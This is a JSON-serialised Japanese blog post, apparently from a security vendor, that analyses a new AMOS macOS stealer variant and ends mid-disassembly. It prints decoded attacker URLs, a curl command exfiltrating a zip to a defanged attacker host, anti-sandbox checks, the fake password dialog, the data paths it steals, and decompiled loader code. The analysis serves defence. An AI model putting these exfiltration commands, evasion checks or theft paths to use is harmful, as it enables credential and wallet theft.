[{"data":1,"prerenderedAt":3341},["ShallowReactive",2],{"sc:header-data-ja":3,"sc:footer-data-ja":489,"post-ja--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2767,"content-ja-list-7b291c2dd91a4":3120,"authors_data:Pascal Asch":3338},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ja":13},{"title":14,"url":15,"alt":16},"ホーム","/ja","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ja":21},{"title":22,"description":23},"Workplace","Microsoft 365を基盤に、スマートで安全な、柔軟性の高いワークプレイスを実現します。最新のテクノロジーとアイデンティティサービスが一つにつながります。",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ja":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ja":34},{"title":35,"url":36},"Managed Intune","/ja/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ja":40},{"title":41,"url":42},"Managed Entra","/ja/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ja":46},{"title":47,"url":48},"Managed Workplace","/ja/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ja":52},{"title":53,"url":54},"Consulting Services","/ja/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ja":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ja":64},{"title":65,"url":66},"Microsoft Entra Suite","/ja/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ja":70},{"title":71,"url":72},"Microsoft Intune","/ja/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ja":76},{"title":77,"url":78},"Microsoft Windows","/ja/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ja":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ja/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ja":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ja/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ja":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ja":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ja/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ja":106},{"title":107,"url":108},"Teams","/ja/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ja":112},{"title":113,"url":114},"SharePoint & Power Platform","/ja/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ja":118},{"title":119,"url":120},"Exchange Online","/ja/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ja":124},{"title":125,"url":126},"Information Protection & Compliance","/ja/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ja":130},{"title":131,"description":132},"Azure","Azureで成長を後押しします。IaaSとPaaSによって、クラウドのコストを下げ、効率を高め、イノベーションを進めます。",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ja":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ja":142},{"title":143,"url":144},"Azure Managed Services","/ja/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ja":148},{"title":149,"url":150},"Azure Consulting","/ja/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ja":154},{"title":155},"シナリオ",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ja":160},{"title":161,"url":162},"クラウドを計画する","/ja/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ja":166},{"title":167,"url":168},"クラウドへ移行する","/ja/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ja":172},{"title":173,"url":174},"ビジネスを刷新する","/ja/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ja":178},{"title":179,"url":180},"VMware戦略を立て直す","/ja/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ja":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ja":190},{"title":191,"url":192},"Azure Foundation","/ja/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ja":196},{"title":197,"url":198},"Azure AI Foundation","/ja/azure/azure-ai-foundation",{"name":86,"languages":200},{"ja":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ja":205},{"title":206,"url":207},"Azure Data Foundation","/ja/azure/azure-data-foundation",{"name":188,"languages":209},{"ja":210},{"title":211,"url":212},"Azure Container Foundation","/ja/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ja":216},{"title":217,"url":218},"Managed Dark Tenant","/ja/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ja":222},{"title":223,"url":224},"Cloud Adoption Framework","/ja/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ja":228},{"title":229,"url":230},"Cloud Competence Center","/ja/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ja":234},{"title":235,"description":236,"emergency":237},"Security","受賞歴のある24時間365日のManaged Service、インシデント対応、最新水準の保護で、クラウドの安全を見守り、インフラを守ります。",{"text":238,"href":239,"skin":240,"icon":241},"サイバー攻撃の渦中ですか？","/ja/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ja":249},{"title":250,"url":251},"Managed Red Tenant","/ja/security/managed-red-tenant",{"name":214,"languages":253},{"ja":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ja":259},{"title":260,"url":261},"Sentinel Data Lake","/ja/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ja":265},{"title":266,"url":267},"Security Consulting","/ja/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ja":274},{"title":275,"url":276},"Cloud Security Operations Center","/ja/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ja":280},{"title":281,"url":282},"Global Secure Access","/ja/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ja":286},{"title":287,"url":288},"MyWorkID","/ja/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ja":295},{"title":296,"url":297},"Preventive Services","/ja/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ja":301},{"title":302,"url":303},"Data Security Service","/ja/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ja":307},{"title":308,"url":309},"Security Copilot Agents","/ja/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ja":313},{"title":314,"url":315},"NIS2を技術で実装する","/ja/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ja":319},{"title":320,"description":321},"製品","完全に安全で100%クラウドネイティブなMicrosoft環境のためのCompanion製品です。協働、ネットワーク認証、ソフトウェア管理を強化します。",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ja":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","クラウドベースのソフトウェア配布",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ja":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","クラウドからの証明書配布",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ja":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365のデータをローカルで利用",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ja":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","サーバー間のデータ移行",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ja":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365向けのTerraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ja":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","ネットワークの認証",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ja":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teamsで連絡先を探す",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ja":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilotのリアルタイム監視",{"name":396,"languages":397},"casestudies",{"ja":398},{"title":399,"url":400,"description":401},"導入事例","/ja/casestudies","当社はクラウドの先駆者として、包括的なクラウドソリューションを提供するMicrosoftのトップパートナーです。ブループリントに基づくアプローチとInfrastructure as Codeの知見が土台にあります。",{"name":403,"languages":404,"children":407},"company",{"ja":405},{"title":406,"description":401},"会社",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ja":411},{"title":412},"会社概要",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ja":417},{"title":418,"url":419},"Facts & Figures","/ja/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ja":423},{"title":424,"url":425},"お問い合わせと拠点","/ja/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ja":429},{"title":430,"url":431},"スイスのglueckkanja","/ja/company/switzerland",{"name":433,"languages":434},"austria",{"ja":435},{"title":436,"url":437},"オーストリアのglueckkanja","/ja/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ja":441},{"title":442},"キャリア",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ja":447},{"title":448,"url":449},"採用情報","/ja/career",{"name":451,"languages":452},"company-young-professionals",{"ja":453},{"title":454,"url":455},"Young Professionals","/ja/young-professionals",{"name":457,"languages":458},"company-jobs",{"ja":459},{"title":460,"url":461},"募集職種","/ja/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ja":465},{"title":466},"最新情報",[468,474],{"name":469,"languages":470},"company-blog",{"ja":471},{"title":472,"url":473},"ブログ","/ja/blog",{"name":469,"languages":475},{"ja":476},{"title":477,"url":478},"イベント","/ja/events",[480],{"name":481,"languages":482},"career-meta",{"ja":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ja":487},{"title":488,"url":425,"active":484},"お問い合わせ",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksJa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"プライバシーポリシー","/ja/privacy",{"title":514,"url":515},"運営者情報","/ja/imprint",{"title":517,"url":518},"Cookieなし","/ja/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2671,"hideInRecent":484,"layout":2672,"meta":2673,"moment":2677,"navigation":325,"path":2757,"seo":2758,"stem":2759,"tags":2760,"webcast":484,"__hash__":2766},"content_ja/posts/2026-04-10-incident-to-intelligence.md","未知のAMOSスティーラーの解剖：アラートから免疫獲得まで数時間",[523],"Pascal Asch",{"type":525,"value":526,"toc":2635},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,606,608,611,634,637,645,648,656,663,667,669,672,680,695,698,700,703,708,711,719,723,725,733,737,739,742,745,747,750,758,761,763,770,773,871,874,904,906,910,912,919,922,925,927,1011,1015,1017,1028,1034,1108,1119,1126,1130,1132,1197,1200,1202,1209,1211,1215,1217,1224,1250,1437,1440,1448,1459,1462,1470,1484,1497,1499,1503,1505,1524,1547,1737,1740,1748,1751,1754,1756,1760,1762,1765,1846,1849,1868,1947,1950,1952,1956,1958,1961,1968,2023,2026,2034,2037,2039,2043,2045,2052,2065,2113,2124,2163,2172,2187,2190,2192,2196,2198,2205,2208,2216,2219,2227,2241,2244,2246,2250,2252,2262,2266,2268,2286,2294,2308,2328,2332,2334,2337,2345,2348,2356,2370,2374,2376,2379,2387,2406,2412,2416,2418,2426,2432,2439,2443,2445,2453,2456,2458,2461,2469,2472,2476,2478,2486,2490,2492,2500,2504,2506,2514,2518,2520,2528,2545,2550,2552,2555,2557,2564,2581,2584,2597,2599,2603,2605,2608,2611,2614,2631],[528,529,530],"p",{},"当社のSOCでアラートが発報すると、そこから時計が動き始めます。対象となったお客様だけでなく、当社の保護下にあるすべての組織にとってです。現代の脅威環境で最も危険な瞬間はインテリジェンス・ギャップ、つまり新しいマルウェア亜種が最初に投入されてから、業界がその存在を知る日までの時間の窓です。",[528,532,533],{},"単独で活動するセキュリティチームにとって、この空白は極度の脆弱性を意味します。まだ書かれてもいないベンダー更新やシグネチャフィードを待つことになるからです。お客様に対しては、当社が内製したShared Threat Intelligenceがまさにこの窓を閉じます。",[528,535,536],{},"本記事は、これまで文書化されていなかったAMOSの亜種（Atomic macOS Stealer）を当社がどのように分解したか、そして単一の侵害されたエンドポイントから数時間のうちに、すべてのお客様環境を覆う検知とブロックがどのように生まれたかを、技術的に読み解くものです。",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"インシデント未知のiocシナリオ","インシデント：未知のIOCシナリオ",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"アラートが届いたのは2026年3月12日の現地時間6時25分でした。macOSエンドポイントが侵害されていたのです。当社のSOCがアーティファクトの解析に着手したとき、私たちはあらゆる脅威アナリストが恐れる状況に直面していました。既知のファイルハッシュもなく、C2のIPアドレスもなく、公開データベースには有意な挙動シグネチャもありません。",[528,552,553,554,558],{},"攻撃アーキテクチャの全体像が明らかになったのは、詳細解析に入ってからです。感染は15.7 MBのmacOS Universal Binary（x86_64とARM64）を基盤としており、",[555,556,557],"code",{},"/private/tmp/helper","に配置されていました。この検体は侵害されたシステム上から直接は入手できず、当社チームは感染チェーンを再構成し、本来の配信リクエストを模擬して、攻撃者インフラからバイナリを手作業で取得する必要がありました。",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1サンドボックス検査","Stage 1：サンドボックス検査",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"本来のスティーラーがデバイス上で実行されるより前に、すでにAppleScriptのペイロードが動作していました。その中の文字列、ファイルパス、シェルコマンド、URLはすべて、3つの独自の算術関数でエンコードされていました。",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"平文で現れる文字列は一つもありません。一見すると意味のない整数配列に見えたものは、エンコード方式を逆算すると、完成した実戦投入可能なデータ窃取・持ち出しフレームワークであることが判明しました。",[528,590,591],{},"当社はスクリプト内のすべての配列を静的にデコードしました。結果は明白でした。",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"このダウンロードURLは、正規のn8nワークフロー自動化ツールの更新を意図的に模倣しています。n8nは開発者やDevOpsエンジニアの間で広く使われているツールです。これは偶然ではありません。このキャンペーンが狙っているのは技術に精通した利用者であり、クラック版ソフトウェアを入れるような一般の利用者ではないのです。",[562,604,605],{"id":605},"アンチサンドボックスチェック",[528,607,568],{},[528,609,610],{},"ダウンロードの前に、スクリプトは専用のVM・サンドボックス検出ルーチンを実行していました。インシデントのアーティファクトからは、独立したアンチサンドボックススクリプトも復元できました。",[573,612,613],{"style":575},[577,614,618],{"className":615,"code":616,"language":617,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,619,620,628],{"__ignoreMap":585},[621,622,625],"span",{"class":623,"line":624},"line",1,[621,626,627],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[621,629,631],{"class":623,"line":630},2,[621,632,633],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,635,636],{},"スクリプトはその結果を2つのリストと照合します。1つ目はメモリ情報の中に仮想化の痕跡がないかを探すものです。",[573,638,639],{"style":575},[577,640,643],{"className":641,"code":642,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,644,642],{"__ignoreMap":585},[528,646,647],{},"2つ目は、ハードウェア識別子を既知の解析マシンのシリアル番号リストと照合するものです。",[573,649,650],{"style":575},[577,651,654],{"className":652,"code":653,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,655,653],{"__ignoreMap":585},[528,657,658,659,662],{},"一致した場合は",[555,660,661],{},"exit 100","で完全に中断します。Apple Silicon搭載の実機のMacBook Proでは、すべての検査が何も表示せずに通過し、実行はそのまま続きました。バイナリを1バイトもダウンロードしないうちに動作する、プロ水準のサンドボックス回避技術です。",[562,664,666],{"id":665},"単純ながら効果的偽のパスワード入力ダイアログ","単純ながら効果的：偽のパスワード入力ダイアログ",[528,668,568],{},[528,670,671],{},"デコードしたスクリプトには、ソーシャルエンジニアリングによる権限昇格用のダイアログも含まれていました。",[573,673,674],{"style":575},[577,675,678],{"className":676,"code":677,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,679,677],{"__ignoreMap":585},[528,681,682,683,686,687,690,691,694],{},"このダイアログは、macOS標準の",[555,684,685],{},"display dialog","呼び出しに",[555,688,689],{},"with hidden answer","を付けて表示され、見た目では本物のmacOS認証要求と区別がつきません。スクリプトは入力されたパスワードを使って",[555,692,693],{},"login -pf \u003Cusername>","を呼び出し、バイナリが実行されるよりも前にプロセスをroot権限へ昇格させていました。",[562,696,697],{"id":697},"スクリプトが収集したもの",[528,699,568],{},[528,701,702],{},"バイナリが実行されると、osascriptは自身の収集処理を続行し、あらゆる種類の機微なシステムデータを吸い上げました。当社は収集対象のパスと宛先をすべてデコードしました。",[704,705,707],"h3",{"id":706},"ブラウザデータ全chromium系ブラウザ-safari","ブラウザデータ（全Chromium系ブラウザ + Safari）：",[528,709,710],{},"{: .font-size-4}",[573,712,713],{"style":575},[577,714,717],{"className":715,"code":716,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,718,716],{"__ignoreMap":585},[704,720,722],{"id":721},"macos-keychain","macOS Keychain：",[528,724,710],{},[573,726,727],{"style":575},[577,728,731],{"className":729,"code":730,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,732,730],{"__ignoreMap":585},[704,734,736],{"id":735},"apple-notes","Apple Notes",[528,738,710],{},[528,740,741],{},"カウンタ付きヘッダーを添えてHTMLとして全内容をエクスポート",[704,743,744],{"id":744},"ローカルファイル",[528,746,710],{},[528,748,749],{},"デスクトップと書類、最大30 MB、重点は次の拡張子です。",[573,751,752],{"style":575},[577,753,756],{"className":754,"code":755,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,757,755],{"__ignoreMap":585},[704,759,760],{"id":760},"暗号資産ウォレット",[528,762,710],{},[528,764,765,769],{},[766,767,768],"strong",{},"200件を超えるブラウザ拡張機能ID","がハードコードされたリストで、MetaMask、Coinbase Wallet、TronLink、Phantom、Keplr、Yoroi、Ledger Live、Trezor Suite、XDEFI、Exodusなど主要なウォレットを網羅しています。",[528,771,772],{},"収集後、すべてのデータはランダムな名前の一時ディレクトリにまとめられ、外部へ持ち出されました。",[573,774,775],{"style":575},[577,776,780],{"className":777,"code":778,"language":779,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,781,782,816,842,859],{"__ignoreMap":585},[621,783,784,788,792,795,798,802,806,810,813],{"class":623,"line":624},[621,785,787],{"class":786},"sScJk","ditto",[621,789,791],{"class":790},"sj4cs"," -c",[621,793,794],{"class":790}," -k",[621,796,797],{"class":790}," --sequesterRsrc",[621,799,801],{"class":800},"szBVR"," \u003C",[621,803,805],{"class":804},"sZZnC","staging_di",[621,807,809],{"class":808},"sVt8B","r",[621,811,812],{"class":800},">",[621,814,815],{"class":804}," /tmp/out.zip\n",[621,817,818,821,824,827,830,833,836,839],{"class":623,"line":630},[621,819,820],{"class":786},"curl",[621,822,823],{"class":790}," --connect-timeout",[621,825,826],{"class":790}," 120",[621,828,829],{"class":790}," --max-time",[621,831,832],{"class":790}," 300",[621,834,835],{"class":790}," -X",[621,837,838],{"class":804}," POST",[621,840,841],{"class":790}," \\\n",[621,843,845,848,851,854,857],{"class":623,"line":844},3,[621,846,847],{"class":790},"  -H",[621,849,850],{"class":804}," \"user: \u003Cuuid>\"",[621,852,853],{"class":790}," -H",[621,855,856],{"class":804}," \"BuildID: \u003Chw_profile>\"",[621,858,841],{"class":790},[621,860,862,865,868],{"class":623,"line":861},4,[621,863,864],{"class":790},"  -F",[621,866,867],{"class":804}," \"file=@/tmp/out.zip\"",[621,869,870],{"class":804}," laislivon[.]com/contact\n",[528,872,873],{},"後片付けはその直後に行われます。",[573,875,876],{"style":575},[577,877,879],{"className":777,"code":878,"language":779,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,880,881,898],{"__ignoreMap":585},[621,882,883,886,889,891,893,895],{"class":623,"line":624},[621,884,885],{"class":786},"rm",[621,887,888],{"class":790}," -r",[621,890,801],{"class":800},[621,892,805],{"class":804},[621,894,809],{"class":808},[621,896,897],{"class":800},">\n",[621,899,900,902],{"class":623,"line":630},[621,901,885],{"class":786},[621,903,815],{"class":804},[538,905],{},[541,907,909],{"id":908},"stage-2helper-バイナリのリバースエンジニアリング","Stage 2：'helper' バイナリのリバースエンジニアリング",[528,911,547],{},[528,913,914,915,918],{},"この解析が本当に深部へ入っていくのは",[555,916,917],{},"helper","バイナリです。これはプロの手による難読化が施されたmacOS実行ファイルで、静的解析を組織的に妨害し、本調査で最大のリバースエンジニアリング工数を要しました。",[528,920,921],{},"解析はすべてGhidraと当社独自のARM64解析ワークフローで実施しました。",[562,923,924],{"id":924},"ファイル属性",[528,926,568],{},[573,928,930],{"style":929},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[931,932,934,935,934,951],"table",{"style":933},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[936,937,938,939,934],"thead",{},"\n    ",[940,941,942,943,942,948,938],"tr",{},"\n      ",[944,945,947],"th",{"style":946},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","属性",[944,949,950],{"style":946},"値",[952,953,938,954,938,964,938,973,938,981,938,991,938,1001,934],"tbody",{},[940,955,942,956,942,961,938],{},[957,958,960],"td",{"style":959},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[957,962,963],{"style":959},"Mach-O Universal Binary",[940,965,942,966,942,970,938],{},[957,967,969],{"style":968},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[957,971,972],{"style":968},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[940,974,942,975,942,978,938],{},[957,976,977],{"style":959},"Size",[957,979,980],{"style":959},"15.7 MB",[940,982,942,983,942,986,938],{},[957,984,985],{"style":968},"MD5",[957,987,988],{"style":968},[555,989,990],{},"4599fdf2fa2099b30d8bbf76703dd634",[940,992,942,993,942,996,938],{},[957,994,995],{"style":959},"SHA-1",[957,997,998],{"style":959},[555,999,1000],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[940,1002,942,1003,942,1006,938],{},[957,1004,1005],{"style":968},"SHA-256",[957,1007,1008],{"style":968},[555,1009,1010],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1012,1014],{"id":1013},"実行はmainの前に始まる","実行はmain()の前に始まる",[528,1016,568],{},[528,1018,1019,1020,1023,1024,1027],{},"Ghidraで最初に分かったのは、このバイナリが通常の実行ファイルのようには振る舞わないという点です。実際のエントリポイントは",[555,1021,1022],{},"main()","ではなく、",[555,1025,1026],{},"__mod_init_func","に登録された関数です。これは、バイナリのロード時に特定の関数を自動実行するようダイナミックリンカ（dyld）へ指示するmacOSの仕組みで、実行可能なコードが動き出す前に処理が走ります。",[528,1029,1030,1033],{},[555,1031,1032],{},"0x10009f384","にあるinit関数が、このマルウェアの実質的なエントリポイントです。Ghidraによる逆コンパイル結果は次のとおりです。",[573,1035,1036],{"style":575},[1037,1038,1039,1043,1046,1049,1053,1054,1058,1059,1061,1062,1065,1066,1080],"code-block",{},[621,1040,1042],{"style":1041},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1044,1045],"br",{},[621,1047,1048],{"style":1041},"// __mod_init_func registered — executes before main()",[621,1050,1052],{"style":1051},"color:#d73a49","void"," ",[621,1055,1057],{"style":1056},"color:#6f42c1","FUN_10009f384","(",[621,1060,1052],{"style":1051},")\n{\n  ",[621,1063,1064],{"style":1051},"int"," iVar1;\n",[528,1067,1068,1071,1072,1058,1075,1079],{},[621,1069,1070],{"style":1041},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[621,1073,1074],{"style":1056},"_usleep",[621,1076,1078],{"style":1077},"color:#005cc5","0x37e",");",[528,1081,1082,1085,1088,1089,1091,1092,1095,1096,1099,1100,1103,1104,1107],{},[621,1083,1084],{"style":1041},"// Indirect jump table — 14-state machine",[621,1086,1087],{"style":1041},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[621,1090,555],{"style":1051}," _)((",[621,1093,1094],{"style":1051},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[621,1097,1098],{"style":1077},"4"," + ",[621,1101,1102],{"style":1077},"0x10009f440","))(iVar1);\n",[621,1105,1106],{"style":1051},"return",";\n}",[528,1109,1110,1111,1114,1115,1118],{},"すぐに目を引く点が2つあります。1つは起動時の894マイクロ秒の",[555,1112,1113],{},"usleep","、アンチサンドボックスのタイミング信号です。より厄介なのは",[555,1116,1117],{},"0x10009f43c","にある間接ジャンプテーブルです。これは分岐先アドレスを実行時にルックアップテーブルから求める計算分岐で、静的解析ツールは制御フローグラフを再構成できません。Ghidraは実行経路を追おうとして「unreachable block」の警告を複数回記録しました。これは設計どおりの結果です。",[528,1120,1121,1122,1125],{},"このジャンプテーブルが",[766,1123,1124],{},"14状態の実行マシン","を駆動します。各状態は復号・実行パイプラインの単一の離散的なステップを担当します。状態カウンタはステップごとに更新され、マシンはすべての状態を通過するまで動き続けます。",[562,1127,1129],{"id":1128},"ステートディスパッチャのarm64逆アセンブル","ステートディスパッチャのARM64逆アセンブル",[528,1131,568],{},[573,1133,1134],{"style":575},[577,1135,1139],{"className":1136,"code":1137,"language":1138,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[555,1140,1141,1146,1151,1156,1161,1167,1173,1179,1185,1191],{"__ignoreMap":585},[621,1142,1143],{"class":623,"line":624},[621,1144,1145],{},"10009f3fc:  stp xzr,xzr,[sp, 